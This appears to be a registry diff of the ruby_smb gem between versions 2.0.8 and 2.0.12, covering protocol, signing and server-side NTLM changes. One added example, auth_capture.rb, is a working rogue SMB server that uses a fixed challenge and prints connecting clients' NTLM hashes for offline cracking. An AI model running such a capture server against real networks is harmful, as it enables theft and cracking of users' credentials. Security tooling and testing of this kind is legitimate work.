ruby_smb 2.0.8 → 2.0.12
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data/.github/workflows/verify.yml +5 -15
- data/examples/auth_capture.rb +71 -0
- data/lib/ruby_smb/client/negotiation.rb +9 -11
- data/lib/ruby_smb/client.rb +30 -25
- data/lib/ruby_smb/dialect.rb +45 -0
- data/lib/ruby_smb/dispatcher/base.rb +1 -1
- data/lib/ruby_smb/gss/provider/authenticator.rb +42 -0
- data/lib/ruby_smb/gss/provider/ntlm.rb +303 -0
- data/lib/ruby_smb/gss/provider.rb +35 -0
- data/lib/ruby_smb/gss.rb +56 -63
- data/lib/ruby_smb/ntlm.rb +45 -0
- data/lib/ruby_smb/server/server_client/negotiation.rb +156 -0
- data/lib/ruby_smb/server/server_client/session_setup.rb +82 -0
- data/lib/ruby_smb/server/server_client.rb +162 -0
- data/lib/ruby_smb/server.rb +54 -0
- data/lib/ruby_smb/signing.rb +59 -0
- data/lib/ruby_smb/smb1/packet/negotiate_response.rb +11 -11
- data/lib/ruby_smb/smb1/packet/negotiate_response_extended.rb +1 -1
- data/lib/ruby_smb/smb1/packet/session_setup_request.rb +1 -1
- data/lib/ruby_smb/smb1/tree.rb +1 -1
- data/lib/ruby_smb/smb2/negotiate_context.rb +18 -2
- data/lib/ruby_smb/smb2/packet/negotiate_request.rb +9 -0
- data/lib/ruby_smb/smb2/packet/negotiate_response.rb +0 -1
- data/lib/ruby_smb/smb2/packet/session_setup_response.rb +2 -2
- data/lib/ruby_smb/smb2/packet/tree_connect_request.rb +1 -1
- data/lib/ruby_smb/smb2/tree.rb +1 -1
- data/lib/ruby_smb/smb2.rb +3 -1
- data/lib/ruby_smb/version.rb +1 -1
- data/lib/ruby_smb.rb +2 -1
- data/spec/lib/ruby_smb/client_spec.rb +24 -16
- data/spec/lib/ruby_smb/gss/provider/ntlm/account_spec.rb +32 -0
- data/spec/lib/ruby_smb/gss/provider/ntlm/authenticator_spec.rb +101 -0
- data/spec/lib/ruby_smb/gss/provider/ntlm/os_version_spec.rb +32 -0
- data/spec/lib/ruby_smb/gss/provider/ntlm_spec.rb +113 -0
- data/spec/lib/ruby_smb/server/server_client_spec.rb +156 -0
- data/spec/lib/ruby_smb/server_spec.rb +32 -0
- data/spec/lib/ruby_smb/smb1/tree_spec.rb +4 -4
- data/spec/lib/ruby_smb/smb2/negotiate_context_spec.rb +2 -2
- data/spec/lib/ruby_smb/smb2/tree_spec.rb +5 -5
- data.tar.gz.sig +0 -0
- metadata +25 -3
- metadata.gz.sig +0 -0
- data/lib/ruby_smb/client/signing.rb +0 -64
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: e390e96aa471e87e6406cf5b7eae77a4c45f882201f4132d3243eb25506554dc
|
4
|
+
data.tar.gz: 65620d67c3dbfbf2d3f795856c8da03207a8df32aa439a6f6a0b5d46b385dd31
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 0c252450305e217779de4c1bf6850fa55f12c95d6380795f6940c0451d33c64f1287ab13f6a373d1dcaa1752d399dac04fd0e358a49000335deba27d46ab8fc7
|
7
|
+
data.tar.gz: 2734dd65b1a84a03fdd914a6877640107caf6bcf561f3a41b769ef947e21276bc8759859ac4a36ba0b2ccfe15778ff06c234ff41dabf9ea4563a74a95ea1b891
|
checksums.yaml.gz.sig
CHANGED
Binary file
|
@@ -10,7 +10,7 @@ on:
|
|
10
10
|
|
11
11
|
jobs:
|
12
12
|
test:
|
13
|
-
runs-on: ubuntu-
|
13
|
+
runs-on: ubuntu-18.04
|
14
14
|
timeout-minutes: 40
|
15
15
|
|
16
16
|
strategy:
|
@@ -20,6 +20,7 @@ jobs:
|
|
20
20
|
- 2.5
|
21
21
|
- 2.6
|
22
22
|
- 2.7
|
23
|
+
- 3.0
|
23
24
|
test_cmd:
|
24
25
|
- bundle exec rspec
|
25
26
|
|
@@ -31,23 +32,12 @@ jobs:
|
|
31
32
|
- name: Checkout code
|
32
33
|
uses: actions/checkout@v2
|
33
34
|
|
34
|
-
-
|
35
|
+
- name: Setup Ruby
|
36
|
+
uses: ruby/setup-ruby@v1
|
35
37
|
with:
|
36
38
|
ruby-version: ${{ matrix.ruby }}
|
39
|
+
bundler-cache: true
|
37
40
|
|
38
|
-
- name: Setup bundler
|
39
|
-
run: |
|
40
|
-
gem install bundler
|
41
|
-
- uses: actions/cache@v2
|
42
|
-
with:
|
43
|
-
path: vendor/bundle
|
44
|
-
key: ${{ runner.os }}-gems-${{ hashFiles('**/Gemfile.lock') }}
|
45
|
-
restore-keys: |
|
46
|
-
${{ runner.os }}-gems-
|
47
|
-
- name: Bundle install
|
48
|
-
run: |
|
49
|
-
bundle config path vendor/bundle
|
50
|
-
bundle install --jobs 4 --retry 3
|
51
41
|
- name: ${{ matrix.test_cmd }}
|
52
42
|
run: |
|
53
43
|
echo "${CMD}"
|
@@ -0,0 +1,71 @@
|
|
1
|
+
#!/usr/bin/ruby
|
2
|
+
|
3
|
+
require 'bundler/setup'
|
4
|
+
require 'ruby_smb'
|
5
|
+
require 'ruby_smb/gss/provider/ntlm'
|
6
|
+
|
7
|
+
# we just need *a* default encoding to handle the strings from the NTLM messages
|
8
|
+
Encoding.default_internal = 'UTF-8' if Encoding.default_internal.nil?
|
9
|
+
|
10
|
+
def bin_to_hex(s)
|
11
|
+
s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
|
12
|
+
end
|
13
|
+
|
14
|
+
# this is a custom NTLM provider that will log the challenge and responses for offline cracking action!
|
15
|
+
class HaxorNTLMProvider < RubySMB::Gss::Provider::NTLM
|
16
|
+
class Authenticator < RubySMB::Gss::Provider::NTLM::Authenticator
|
17
|
+
# override the NTLM type 3 process method to extract all of the valuable information
|
18
|
+
def process_ntlm_type3(type3_msg)
|
19
|
+
username = "#{type3_msg.domain.encode}\\#{type3_msg.user.encode}"
|
20
|
+
_, client = ::Socket::unpack_sockaddr_in(@server_client.getpeername)
|
21
|
+
|
22
|
+
hash_type = nil
|
23
|
+
hash = "#{type3_msg.user.encode}::#{type3_msg.domain.encode}"
|
24
|
+
|
25
|
+
case type3_msg.ntlm_version
|
26
|
+
when :ntlmv1
|
27
|
+
hash_type = 'NTLMv1-SSP'
|
28
|
+
hash << ":#{bin_to_hex(type3_msg.lm_response)}"
|
29
|
+
hash << ":#{bin_to_hex(type3_msg.ntlm_response)}"
|
30
|
+
hash << ":#{bin_to_hex(@server_challenge)}"
|
31
|
+
when :ntlmv2
|
32
|
+
hash_type = 'NTLMv2-SSP'
|
33
|
+
hash << ":#{bin_to_hex(@server_challenge)}"
|
34
|
+
# NTLMv2 responses consist of the proof string whose calculation also includes the additional response fields
|
35
|
+
hash << ":#{bin_to_hex(type3_msg.ntlm_response[0...16])}" # proof string
|
36
|
+
hash << ":#{bin_to_hex(type3_msg.ntlm_response[16.. -1])}" # additional response fields
|
37
|
+
end
|
38
|
+
|
39
|
+
unless hash_type.nil?
|
40
|
+
version = @server_client.metadialect.version_name
|
41
|
+
puts "[#{version}] #{hash_type} Client : #{client}"
|
42
|
+
puts "[#{version}] #{hash_type} Username : #{username}"
|
43
|
+
puts "[#{version}] #{hash_type} Hash : #{hash}"
|
44
|
+
end
|
45
|
+
|
46
|
+
WindowsError::NTStatus::STATUS_ACCESS_DENIED
|
47
|
+
end
|
48
|
+
end
|
49
|
+
|
50
|
+
def new_authenticator(server_client)
|
51
|
+
# build and return an instance that can process and track stateful information for a particular connection but
|
52
|
+
# that's backed by this particular provider
|
53
|
+
Authenticator.new(self, server_client)
|
54
|
+
end
|
55
|
+
|
56
|
+
# we're overriding the default challenge generation routine here as opposed to leaving it random (the default)
|
57
|
+
def generate_server_challenge(&block)
|
58
|
+
"\x11\x22\x33\x44\x55\x66\x77\x88"
|
59
|
+
end
|
60
|
+
end
|
61
|
+
|
62
|
+
# define a new server with the custom authentication provider
|
63
|
+
server = RubySMB::Server.new(
|
64
|
+
gss_provider: HaxorNTLMProvider.new
|
65
|
+
)
|
66
|
+
puts "server is running"
|
67
|
+
server.run do
|
68
|
+
puts "received connection"
|
69
|
+
# accept all of the connections and run forever
|
70
|
+
true
|
71
|
+
end
|
@@ -57,15 +57,20 @@ module RubySMB
|
|
57
57
|
|
58
58
|
# Takes the raw response data from the server and tries
|
59
59
|
# parse it into a valid Response packet object.
|
60
|
-
# This method currently assumes that all SMB1 will use Extended Security.
|
61
60
|
#
|
62
61
|
# @param raw_data [String] the raw binary response from the server
|
63
62
|
# @return [RubySMB::SMB1::Packet::NegotiateResponseExtended] when the response is an SMB1 Extended Security Negotiate Response Packet
|
63
|
+
# @return [RubySMB::SMB1::Packet::NegotiateResponse] when the response is an SMB1 Negotiate Response Packet
|
64
64
|
# @return [RubySMB::SMB2::Packet::NegotiateResponse] when the response is an SMB2 Negotiate Response Packet
|
65
65
|
def negotiate_response(raw_data)
|
66
66
|
response = nil
|
67
67
|
if smb1
|
68
68
|
packet = RubySMB::SMB1::Packet::NegotiateResponseExtended.read raw_data
|
69
|
+
|
70
|
+
unless packet.valid?
|
71
|
+
packet = RubySMB::SMB1::Packet::NegotiateResponse.read raw_data
|
72
|
+
end
|
73
|
+
|
69
74
|
response = packet if packet.valid?
|
70
75
|
end
|
71
76
|
if (smb2 || smb3) && response.nil?
|
@@ -74,17 +79,10 @@ module RubySMB
|
|
74
79
|
end
|
75
80
|
if response.nil?
|
76
81
|
if packet.packet_smb_version == 'SMB1'
|
77
|
-
extended_security = if packet.is_a? RubySMB::SMB1::Packet::NegotiateResponseExtended
|
78
|
-
packet.parameter_block.capabilities.extended_security
|
79
|
-
else
|
80
|
-
"n/a"
|
81
|
-
end
|
82
82
|
raise RubySMB::Error::InvalidPacket.new(
|
83
83
|
expected_proto: RubySMB::SMB1::SMB_PROTOCOL_ID,
|
84
|
-
expected_cmd: RubySMB::SMB1::Packet::
|
85
|
-
|
86
|
-
packet: packet,
|
87
|
-
received_custom: "extended_security=#{extended_security}"
|
84
|
+
expected_cmd: RubySMB::SMB1::Packet::NegotiateResponse::COMMAND,
|
85
|
+
packet: packet
|
88
86
|
)
|
89
87
|
elsif packet.packet_smb_version == 'SMB2'
|
90
88
|
raise RubySMB::Error::InvalidPacket.new(
|
@@ -123,7 +121,7 @@ module RubySMB
|
|
123
121
|
'SMB1'
|
124
122
|
when RubySMB::SMB2::Packet::NegotiateResponse
|
125
123
|
self.smb1 = false
|
126
|
-
unless packet.dialect_revision.to_i ==
|
124
|
+
unless packet.dialect_revision.to_i == RubySMB::SMB2::SMB2_WILDCARD_REVISION
|
127
125
|
self.smb2 = packet.dialect_revision.to_i >= 0x0200 && packet.dialect_revision.to_i < 0x0300
|
128
126
|
self.smb3 = packet.dialect_revision.to_i >= 0x0300 && packet.dialect_revision.to_i < 0x0400
|
129
127
|
end
|
data/lib/ruby_smb/client.rb
CHANGED
@@ -2,18 +2,19 @@ module RubySMB
|
|
2
2
|
# Represents an SMB client capable of talking to SMB1 or SMB2 servers and handling
|
3
3
|
# all end-user client functionality.
|
4
4
|
class Client
|
5
|
+
require 'ruby_smb/ntlm'
|
6
|
+
require 'ruby_smb/signing'
|
5
7
|
require 'ruby_smb/client/negotiation'
|
6
8
|
require 'ruby_smb/client/authentication'
|
7
|
-
require 'ruby_smb/client/signing'
|
8
9
|
require 'ruby_smb/client/tree_connect'
|
9
10
|
require 'ruby_smb/client/echo'
|
10
11
|
require 'ruby_smb/client/utils'
|
11
12
|
require 'ruby_smb/client/winreg'
|
12
13
|
require 'ruby_smb/client/encryption'
|
13
14
|
|
15
|
+
include RubySMB::Signing
|
14
16
|
include RubySMB::Client::Negotiation
|
15
17
|
include RubySMB::Client::Authentication
|
16
|
-
include RubySMB::Client::Signing
|
17
18
|
include RubySMB::Client::TreeConnect
|
18
19
|
include RubySMB::Client::Echo
|
19
20
|
include RubySMB::Client::Utils
|
@@ -277,7 +278,8 @@ module RubySMB
|
|
277
278
|
# @param smb1 [Boolean] whether or not to enable SMB1 support
|
278
279
|
# @param smb2 [Boolean] whether or not to enable SMB2 support
|
279
280
|
# @param smb3 [Boolean] whether or not to enable SMB3 support
|
280
|
-
def initialize(dispatcher, smb1: true, smb2: true, smb3: true, username:, password:, domain: '.',
|
281
|
+
def initialize(dispatcher, smb1: true, smb2: true, smb3: true, username:, password:, domain: '.',
|
282
|
+
local_workstation: 'WORKSTATION', always_encrypt: true, ntlm_flags: default_flags)
|
281
283
|
raise ArgumentError, 'No Dispatcher provided' unless dispatcher.is_a? RubySMB::Dispatcher::Base
|
282
284
|
if smb1 == false && smb2 == false && smb3 == false
|
283
285
|
raise ArgumentError, 'You must enable at least one Protocol'
|
@@ -306,18 +308,12 @@ module RubySMB
|
|
306
308
|
# SMB 3.x options
|
307
309
|
@session_encrypt_data = always_encrypt
|
308
310
|
|
309
|
-
negotiate_version_flag = 0x02000000
|
310
|
-
flags = Net::NTLM::Client::DEFAULT_FLAGS |
|
311
|
-
Net::NTLM::FLAGS[:TARGET_INFO] |
|
312
|
-
negotiate_version_flag ^
|
313
|
-
Net::NTLM::FLAGS[:OEM]
|
314
|
-
|
315
311
|
@ntlm_client = Net::NTLM::Client.new(
|
316
312
|
@username,
|
317
313
|
@password,
|
318
314
|
workstation: @local_workstation,
|
319
315
|
domain: @domain,
|
320
|
-
flags:
|
316
|
+
flags: ntlm_flags
|
321
317
|
)
|
322
318
|
|
323
319
|
@tree_connects = []
|
@@ -368,31 +364,28 @@ module RubySMB
|
|
368
364
|
|
369
365
|
# Performs protocol negotiation and session setup. It defaults to using
|
370
366
|
# the credentials supplied during initialization, but can take a new set of credentials if needed.
|
371
|
-
def login(username: self.username, password: self.password,
|
367
|
+
def login(username: self.username, password: self.password,
|
368
|
+
domain: self.domain, local_workstation: self.local_workstation,
|
369
|
+
ntlm_flags: default_flags)
|
372
370
|
negotiate
|
373
|
-
session_setup(username, password, domain,
|
374
|
-
local_workstation: local_workstation
|
371
|
+
session_setup(username, password, domain,
|
372
|
+
local_workstation: local_workstation,
|
373
|
+
ntlm_flags: ntlm_flags)
|
375
374
|
end
|
376
375
|
|
377
376
|
def session_setup(user, pass, domain, do_recv=true,
|
378
|
-
local_workstation: self.local_workstation)
|
377
|
+
local_workstation: self.local_workstation, ntlm_flags: default_flags)
|
379
378
|
@domain = domain
|
380
379
|
@local_workstation = local_workstation
|
381
380
|
@password = pass.encode('utf-8') || ''.encode('utf-8')
|
382
381
|
@username = user.encode('utf-8') || ''.encode('utf-8')
|
383
382
|
|
384
|
-
negotiate_version_flag = 0x02000000
|
385
|
-
flags = Net::NTLM::Client::DEFAULT_FLAGS |
|
386
|
-
Net::NTLM::FLAGS[:TARGET_INFO] |
|
387
|
-
negotiate_version_flag ^
|
388
|
-
Net::NTLM::FLAGS[:OEM]
|
389
|
-
|
390
383
|
@ntlm_client = Net::NTLM::Client.new(
|
391
384
|
@username,
|
392
385
|
@password,
|
393
386
|
workstation: @local_workstation,
|
394
387
|
domain: @domain,
|
395
|
-
flags:
|
388
|
+
flags: ntlm_flags
|
396
389
|
)
|
397
390
|
|
398
391
|
authenticate
|
@@ -444,14 +437,14 @@ module RubySMB
|
|
444
437
|
when 'SMB1'
|
445
438
|
packet.smb_header.uid = self.user_id if self.user_id
|
446
439
|
packet.smb_header.pid_low = self.pid if self.pid
|
447
|
-
packet = smb1_sign(packet)
|
440
|
+
packet = smb1_sign(packet) if signing_required && !session_key.empty?
|
448
441
|
when 'SMB2'
|
449
442
|
packet = increment_smb_message_id(packet)
|
450
443
|
packet.smb2_header.session_id = session_id
|
451
|
-
unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest)
|
452
|
-
if self.smb2
|
444
|
+
unless packet.is_a?(RubySMB::SMB2::Packet::SessionSetupRequest) || session_key.empty?
|
445
|
+
if self.smb2 && signing_required
|
453
446
|
packet = smb2_sign(packet)
|
454
|
-
elsif self.smb3
|
447
|
+
elsif self.smb3 && (signing_required || packet.is_a?(RubySMB::SMB2::Packet::TreeConnectRequest))
|
455
448
|
packet = smb3_sign(packet)
|
456
449
|
end
|
457
450
|
end
|
@@ -654,5 +647,17 @@ module RubySMB
|
|
654
647
|
@preauth_integrity_hash_value + data.to_binary_s
|
655
648
|
)
|
656
649
|
end
|
650
|
+
|
651
|
+
private
|
652
|
+
|
653
|
+
def default_flags
|
654
|
+
negotiate_version_flag = 0x02000000
|
655
|
+
flags = Net::NTLM::Client::DEFAULT_FLAGS |
|
656
|
+
RubySMB::NTLM::NEGOTIATE_FLAGS[:TARGET_INFO] |
|
657
|
+
negotiate_version_flag ^
|
658
|
+
RubySMB::NTLM::NEGOTIATE_FLAGS[:OEM]
|
659
|
+
|
660
|
+
flags
|
661
|
+
end
|
657
662
|
end
|
658
663
|
end
|
@@ -0,0 +1,45 @@
|
|
1
|
+
module RubySMB
|
2
|
+
# Definitions that define metadata around a particular SMB dialect. This is useful for grouping dialects into a
|
3
|
+
# hierarchy as well as printing them as human readable strings with varying degrees of specificity.
|
4
|
+
module Dialect
|
5
|
+
# the order (taxonomic ranking) of the family, 2 and 3 are intentionally combined
|
6
|
+
ORDER_SMB1 = 'SMB1'.freeze
|
7
|
+
ORDER_SMB2 = 'SMB2'.freeze
|
8
|
+
|
9
|
+
# the family of the dialect
|
10
|
+
FAMILY_SMB1 = 'SMB 1'.freeze
|
11
|
+
FAMILY_SMB2 = 'SMB 2.x'.freeze
|
12
|
+
FAMILY_SMB3 = 'SMB 3.x'.freeze
|
13
|
+
|
14
|
+
# the major version of the dialect
|
15
|
+
VERSION_SMB1 = 'SMB v1'.freeze
|
16
|
+
VERSION_SMB2 = 'SMB v2'.freeze
|
17
|
+
VERSION_SMB3 = 'SMB v3'.freeze
|
18
|
+
|
19
|
+
# the names are meant to be human readable and may change in the future, use the #dialect, #order and #family
|
20
|
+
# attributes for any programmatic comparisons
|
21
|
+
Definition = Struct.new(:dialect, :order, :family, :version_name, :full_name) do
|
22
|
+
alias_method :short_name, :version_name
|
23
|
+
end
|
24
|
+
|
25
|
+
ALL = [
|
26
|
+
Definition.new('NT LM 0.12', ORDER_SMB1, FAMILY_SMB1, VERSION_SMB1, 'SMB v1 (NT LM 0.12)'.freeze),
|
27
|
+
Definition.new('0x0202', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB v2.0.2'.freeze),
|
28
|
+
Definition.new('0x0210', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB v2.1'.freeze),
|
29
|
+
Definition.new('0x02ff', ORDER_SMB2, FAMILY_SMB2, VERSION_SMB2, 'SMB 2.???'.freeze), # wildcard revision
|
30
|
+
Definition.new('0x0300', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.0'.freeze),
|
31
|
+
Definition.new('0x0302', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.0.2'.freeze),
|
32
|
+
Definition.new('0x0311', ORDER_SMB2, FAMILY_SMB3, VERSION_SMB3, 'SMB v3.1.1'.freeze)
|
33
|
+
].map { |definition| [definition.dialect, definition] }.to_h
|
34
|
+
|
35
|
+
#
|
36
|
+
# Retrieve a dialect definition. The definition contains metadata describing the particular dialect.
|
37
|
+
#
|
38
|
+
# @param [Integer, String] dialect the dialect to retrieve the definition for
|
39
|
+
# @return [Definition, nil] the definition if it was found
|
40
|
+
def self.[](dialect)
|
41
|
+
dialect = '0x%04x' % dialect if dialect.is_a? Integer
|
42
|
+
ALL[dialect]
|
43
|
+
end
|
44
|
+
end
|
45
|
+
end
|
@@ -9,7 +9,7 @@ module RubySMB
|
|
9
9
|
def nbss(packet)
|
10
10
|
nbss = RubySMB::Nbss::SessionHeader.new
|
11
11
|
nbss.session_packet_type = RubySMB::Nbss::SESSION_MESSAGE
|
12
|
-
nbss.stream_protocol_length = packet.do_num_bytes
|
12
|
+
nbss.stream_protocol_length = packet.do_num_bytes.to_i
|
13
13
|
nbss.to_binary_s
|
14
14
|
end
|
15
15
|
|
@@ -0,0 +1,42 @@
|
|
1
|
+
module RubySMB
|
2
|
+
module Gss
|
3
|
+
module Provider
|
4
|
+
module Authenticator
|
5
|
+
#
|
6
|
+
# The base class for a GSS provider's unique authenticator. This provides a common interface and is not usable
|
7
|
+
# on it's own. The provider-specific authentication logic is defined within this authenticator class which
|
8
|
+
# actually runs the authentication routine.
|
9
|
+
#
|
10
|
+
class Base
|
11
|
+
# @param [Provider::Base] provider the GSS provider that this instance is an authenticator for
|
12
|
+
# @param server_client the client instance that this will be an authenticator for
|
13
|
+
def initialize(provider, server_client)
|
14
|
+
@provider = provider
|
15
|
+
@server_client = server_client
|
16
|
+
@session_key = nil
|
17
|
+
reset!
|
18
|
+
end
|
19
|
+
|
20
|
+
#
|
21
|
+
# Process a GSS authentication buffer. If no buffer is specified, the request is assumed to be the first in
|
22
|
+
# the negotiation sequence.
|
23
|
+
#
|
24
|
+
# @param [String, nil] buffer the request GSS request buffer that should be processed
|
25
|
+
# @return [Gss::Provider::Result] the result of the processed GSS request
|
26
|
+
def process(request_buffer=nil)
|
27
|
+
raise NotImplementedError
|
28
|
+
end
|
29
|
+
|
30
|
+
#
|
31
|
+
# Reset the authenticator's state, wiping anything related to a partial or complete authentication process.
|
32
|
+
#
|
33
|
+
def reset!
|
34
|
+
@session_key = nil
|
35
|
+
end
|
36
|
+
|
37
|
+
attr_accessor :session_key
|
38
|
+
end
|
39
|
+
end
|
40
|
+
end
|
41
|
+
end
|
42
|
+
end
|